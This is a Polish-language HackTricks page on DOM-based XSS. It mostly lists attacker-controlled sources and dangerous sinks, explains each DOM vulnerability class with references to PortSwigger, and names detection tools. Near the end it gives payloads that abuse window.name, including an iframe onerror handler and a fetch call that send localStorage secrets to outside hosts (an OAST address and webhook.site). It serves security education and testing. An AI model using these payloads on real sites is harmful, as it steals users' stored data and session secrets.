DOM XSS
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Luki w DOM
Luki w DOM występują, gdy dane pochodzące z kontrolowanych przez atakującego sources (np. location.search, document.referrer, lub document.cookie) są niebezpiecznie przekazywane do sinks. Sinks to funkcje lub obiekty (np. eval(), document.body.innerHTML), które mogą wykonać lub wyrenderować szkodliwą treść, jeśli otrzymają złośliwe dane.
- Sources to wejścia, którymi mogą manipulować atakujący, w tym URLs, cookies i web messages.
- Sinks to potencjalnie niebezpieczne endpoints, gdzie złośliwe dane mogą prowadzić do negatywnych skutków, takich jak wykonanie skryptu.
Ryzyko pojawia się, gdy dane przepływają z sources do sinks bez właściwej walidacji lub sanitacji, umożliwiając ataki takie jak XSS.
Tip
Możesz znaleźć bardziej zaktualizowaną listę sources i sinks w https://github.com/wisec/domxsswiki/wiki
Typowe sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Common Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sink nie akceptuje elementów script w żadnej nowoczesnej przeglądarce, a zdarzenia svg onload także nie zostaną wywołane. Oznacza to, że będziesz musiał użyć alternatywnych elementów, takich jak img lub iframe.
This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it’s using any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.
Narzędzia do ich znalezienia
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Rozszerzenie przeglądarki do sprawdzania wszystkich danych, które trafiają do potencjalnego sinka: https://github.com/kevin-mizu/domloggerpp
Przykłady
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
Open Redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.
It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
DOM-based cookie-manipulation vulnerabilities występują, gdy skrypt umieszcza dane, którymi może sterować atakujący, w wartości cookie. Ta podatność może powodować nieoczekiwane zachowanie strony, jeśli cookie jest używany w serwisie. Ponadto może być wykorzystana do przeprowadzenia session fixation attack, jeśli cookie uczestniczy w śledzeniu sesji użytkownika. The primary sink associated with this vulnerability is:
Sinks:
document.cookie
JavaScript Injection
From: https://portswigger.net/web-security/dom-based/javascript-injection
DOM-based JavaScript injection vulnerabilities powstają, gdy skrypt wykonuje dane, które mogą być kontrolowane przez atakującego, jako kod JavaScript.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
From: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities występują, gdy skrypt ustawia właściwość document.domain używając danych, którymi może sterować atakujący.
Właściwość document.domain odgrywa kluczową rolę w egzekwowaniu same-origin policy przez przeglądarki. Gdy dwie strony z różnych origin ustawiają swoje document.domain na tę samą wartość, mogą się ze sobą swobodnie komunikować. Chociaż przeglądarki nakładają pewne ograniczenia na wartości przypisywane do document.domain, zapobiegając przypisaniu wartości całkowicie niepowiązanych z rzeczywistym origin strony, istnieją wyjątki. Zazwyczaj przeglądarki pozwalają na użycie child lub parent domains.
Sinks:
document.domain
WebSocket-URL poisoning
From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning występuje, gdy skrypt wykorzystuje dane kontrolowane jako docelowy URL dla połączenia WebSocket.
Sinks:
Konstruktor WebSocket może prowadzić do podatności WebSocket-URL poisoning.
Link manipulation
From: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities pojawiają się, gdy skrypt zapisuje dane kontrolowane przez atakującego jako cel nawigacji w ramach bieżącej strony, takie jak klikalny link lub URL przesyłania formularza.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities pojawiają się, gdy skrypt zapisuje attacker-controllable data into an Ajax request, które jest wysyłane przy użyciu obiektu XmlHttpRequest.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
Źródło: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities pojawiają się, gdy skrypt przekazuje dane kontrolowane przez atakującego do file-handling API jako parametr filename. Ta podatność może być wykorzystana przez atakującego do skonstruowania URL, który — jeśli odwiedzi go inny użytkownik — może spowodować, że przeglądarka użytkownika otworzy lub zapisze dowolny plik lokalny.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
Źródło: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities występują, gdy skrypt włącza dane kontrolowane przez atakującego do zapytania SQL po stronie klienta w sposób niebezpieczny.
Sinks:
executeSql()
HTML5-storage manipulation
From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities powstają, gdy skrypt zapisuje dane kontrolowane przez atakującego w HTML5 storage przeglądarki (localStorage lub sessionStorage). Choć sama ta czynność nie jest z natury podatnością bezpieczeństwa, staje się problematyczna, jeśli aplikacja następnie odczytuje zapisane dane i przetwarza je w sposób niebezpieczny. Może to pozwolić atakującemu wykorzystać mechanizm storage do przeprowadzenia innych DOM-based ataków, takich jak cross-site scripting i JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities występują, gdy skrypt umieszcza dane kontrolowane przez atakującego w zapytaniu XPath.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
Źródło: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities występują, gdy skrypt włącza dane kontrolowane przez atakującego do ciągu, który jest parsowany jako struktura danych JSON, a następnie przetwarzany przez aplikację.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
From: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities występują, gdy skrypt wysyła dane kontrolowane przez atakującego jako web message do innego dokumentu w przeglądarce. Przykład podatnej na atak Web-message manipulation można znaleźć w PortSwigger’s Web Security Academy.
Sinks:
The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
DOM-data manipulation
From: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities występują, gdy skrypt zapisuje dane kontrolowane przez atakującego do pola w DOM, które są wykorzystywane w widocznym UI lub logice po stronie klienta. Na tę podatność atakujący może wykorzystać do skonstruowania URL-a, który — jeśli odwiedzony przez innego użytkownika — może zmienić wygląd lub zachowanie UI po stronie klienta.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities występują, gdy skrypt przekazuje dane kontrolowane przez atakującego w sposób niebezpieczny do problematycznego API platformy. Obejmuje to API, które po wywołaniu mogą spowodować, że komputer użytkownika będzie zużywać nadmierne ilości CPU lub przestrzeni dyskowej. Takie podatności mogą mieć istotne skutki uboczne, na przykład przeglądarka może ograniczyć funkcjonalność serwisu, odrzucając próby zapisu danych w localStorage lub kończąc działanie obciążających skryptów.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Niejawne globalne zmienne i nadużywanie window.name
Odniesienie do name bez deklaracji (var/let/const) odwołuje się do window.name. Ponieważ window.name utrzymuje się podczas nawigacji między originami, atakujący może wstępnie zasadzić nazwę kontekstu przeglądania zawierającą HTML/JS, a następnie spowodować, że kod ofiary wyrenderuje ją jako zaufane dane:
- Otwórz/nawiguj target w nazwanym kontekście, który kontrolujesz:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- Lub ponownie użyj
window.openz przygotowaną nazwą targetu:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Jeśli aplikacja później wykona element.innerHTML = name (lub podobny sink) bez sanitizacji, kontrolowany przez atakującego ciąg window.name wykona się w docelowym originie, umożliwiając DOM XSS i dostęp do same-origin storage.
Przepływy administracyjne/automatyzacji: pre-seeded storage & javascript: navigation
Boty automatyzacyjne (np. Playwright) często najpierw odwiedzają stronę wewnętrzną, ustawiają sekrety w localStorage/cookies, a następnie nawigują do URL-i dostarczonych przez użytkownika. Każda DOM XSS primitive (w tym nadużycie window.name) w tym przepływie może eksfiltrować wstępnie umieszczony sekret:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Jeśli bot nie ogranicza schematów, podanie URL-a javascript: (javascript:fetch(...)) wykona się w bieżącym originie bez nowej nawigacji, bezpośrednio leaking wartości przechowywanych.
Referencje
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


